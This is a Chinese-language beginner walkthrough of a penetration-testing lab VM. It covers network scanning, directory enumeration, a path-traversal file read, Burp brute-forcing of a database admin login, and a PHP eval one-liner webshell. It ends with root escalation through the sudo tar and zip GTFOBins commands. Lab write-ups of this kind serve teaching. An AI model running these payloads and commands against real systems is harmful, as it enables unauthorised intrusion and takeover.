最近24级的作业有这个靶场,这个靶场我没有打过,这里也记录一些新手打靶会遇见的问题

靶机配置

首先就是要下载镜像文件

靶场链接

点进去之后,这里我们下载镜像文件

下载完成之后我们双击就可以安装

双击之后,就会弹出来安装虚拟机的导向

我们这个名称和路径写完之后就点击导入

之后我们点击开启虚拟机如果报错,我们就右键虚拟机更改软件兼容,如果说没有的话就不用改

这里面我们修改成16.2.x就行,然后点击下一步

这里我们选择更改此虚拟机,点击下一步

最后点击完成

我们编辑虚拟机设置,把网络修改成NAT模式,因为这样才能把我们的攻击机和靶机在一个局域网内

修改完成之后我们点击确定,然后把靶机打开

然后静静的等待靶机开启

出现这个就说明登入成功

这样的话靶机就配置成功了

攻击过程

首先我们要知道这个靶机的ip地址我们采用arp扫描,arp扫描在扫描局域网的时候是比nmap扫描快的

我们在kali上用arp扫描扫存活主机(kali是我们常用的攻击机,也是linux系统)

命令:

arp-scan -l

扫描完成之后这个很明显192.168.100.146就是靶机的ip地址,这里我们可以通ip addr 命令来看一下kali的ip地址

这里可以看kali的ip地址是192.168.100.200是kali的ip地址,那个192.168.100.1和192.168.100.254是网关的地址,肯定不是我们的靶机地址

所以这个192.168.100.146就是我们的靶机地址

接下来知道了靶机地址,我们用namp来扫描靶机地址开放的服务

命令

nmap -sS 192.168.100.146

S是SYN扫描,半连接扫描,nmap只发送SYN报文,通过服务器是否响应SYN+ACK来判断对应端口是否开放

这里面我们扫描到了这个22端口,80端口还有这个111端口

22端口是我们ssh连接的端口,80是我们web服务的端口,111不太熟悉

这里我们先看一下web服务的页面有没有什么东西我们先访问进去

我们发现这是一个web页面

之后我们继续做信息收集,用disearch来扫描目录

这个工具kali是没有的,我们需要安装这个工具

apt-get install dirsearch

这里我已经安装了,之后我们用这个工具进行扫描

命令

  dirsearch -u http://192.168.100.146/

这个-u参数是指定url,这个url的意思就是网址

扫描出来这有几个结果看起来有些能访问到,有些不能,这个403的是没有权限访问,这些301的是重定向

能访问后面的网址,重定向的意思是如果访问这个网址就会跳转

只有状态码是200的能够访问

这里面状态码是200的我们都看一下

这里面有一个这个php文件可能有用我们点进去看一下

这是一个数据库管理的页面,需要密码,我们先看一下其他的能不能收集到密码

这是一个静态的js页面,没有什么用

这里面也是一个静态的js页面,我们也不看了,没有什么用

这个也没有什么重要的信息

这里是一些软件包的信息,暂时没有什么用

这个更没有什么用了

这个貌似是我们web页面,没有啥用

这里面也是一些静态的js页面,没有什么重要的信息

这个是个空白页面,可能要传一些参数什么的

我们看一下这个web页面的其他内容

有个这个功能

我们点进去

这里的话是原先的那个tools页面,也可以通过这个参数进行展示,那就可能存在文件包含漏洞,这里面我们试一下读取/etc/passwd

直接读取不行,我们用路径遍历来读取

发现读取成功存在文件包含漏洞,只能任意文件读取,但是不能实现任意代码执行

这里我们就看完了,整个有用的就是一个数据库管理后台,这个的话我们要密码才能登入成功

这里我们尝试一下弱口令爆破

所谓的弱口令爆破就是指这个密码是比较简单的密码,我们可以猜出来,但是如果人工一个一个的试的话就很慢,这里面我们就要用工具进行爆破

这里选择用我们的burpsuite这个工具进行爆破,这个工具的下载配置自己从网上找,这里我就不多说了

这我演示一下怎么爆破

开这个的作用就是我们的bp能够抓到我们的请求包

这里我们开启监听

密码随便输入,然后点击login,我们的bp就抓到我们的请求包了

这里我们抓完包之后可以放行

这里我们可以看到这个上面的页面一直转圈圈就是在等我们发包,这里面我们可以修改下面的密码

点击放包之后那个密码就是我们修改过后的密码qwqw

我们要用的就是bp的功能之一狙击手

我们点击这个action之后把这个包放在intruder,就可以开始我们的爆破了,之后我们点击这个intruter的positions

选择这个然后先把我们的这个参数进行清空

清空之后就变成这个了

然后再选择我们想要爆破的参数,我们要爆破这个password,我们就把这个选择住

然后就变成这个

这个配置项就完成了

我们接下来点击这个paylaods然后下面点击add来添加我们的字典

这个q就出现再这里了

但是我们有字典可以直接导入,弱密码

这是我自己本地的字典,选择这个top1000

我们可以发现这给所有的弱密码导入到这里面了

接着往下滑,把这个payloadencoding给取消

这会影响我们的参数

之后就可以爆破了

我们可以看到这个lenth有着不同的长度,代表页面内容发生了改变

我们点击这个11726的看一下

往下滑可以看到密码错误

我们再看看其他的

这个没有说明这个密码是正确的可以登入,我们就用这个password这个密码登入

发现登入成功

这里面有个数据库创建功能,我们创建一个新的数据库

我们点进去创建一个表

这里的参数随便填

接着设置参数

这个表我们就创建成功了

在这里我们插入字段值,内容是我们的一句话木马

<?php @eval($_POST['a']);?>

这个一句话木马就是传入a这个参数,然后进行eval,eval的作用就是字符串当作代码执行

成功之后我们修改一下路径要不然利用起来有点麻烦

这里我们直接改成a.php,这里php后缀可以解析我们的一句话木马

我们返回原来的路径

发现是我们写的马

访问进去

然后用蚁剑连接,蚁剑是一个webshell管理工具,这里面安装教程网上查一下

右键添加数据

这里的url就是我们一句话木马的路径,这里的密码就是我们的参数a

成功之后点击添加,之后会有一条数据我们点击进去就是我们靶机的内容了

这里面我们还要收集重要信息看一下有没有账号密码啥的

我们在这个目录发现了配置文件里面有账号和密码

我们通过这个ssh进行连接靶机

ssh zico@192.168.100.146 

提权

连接成功之后我们看一下用户权限

命令

id

发现是一个低用户权限,这时候我们要提权

我们看一下sudo权限的命令

sudo -l

发现这个tar和zip有sudo权限

我们去这个GTFOBins上看一下怎么利用

我们点进去

这个我们可以利用

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

我们用zip提权试一下

TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF

完成!!!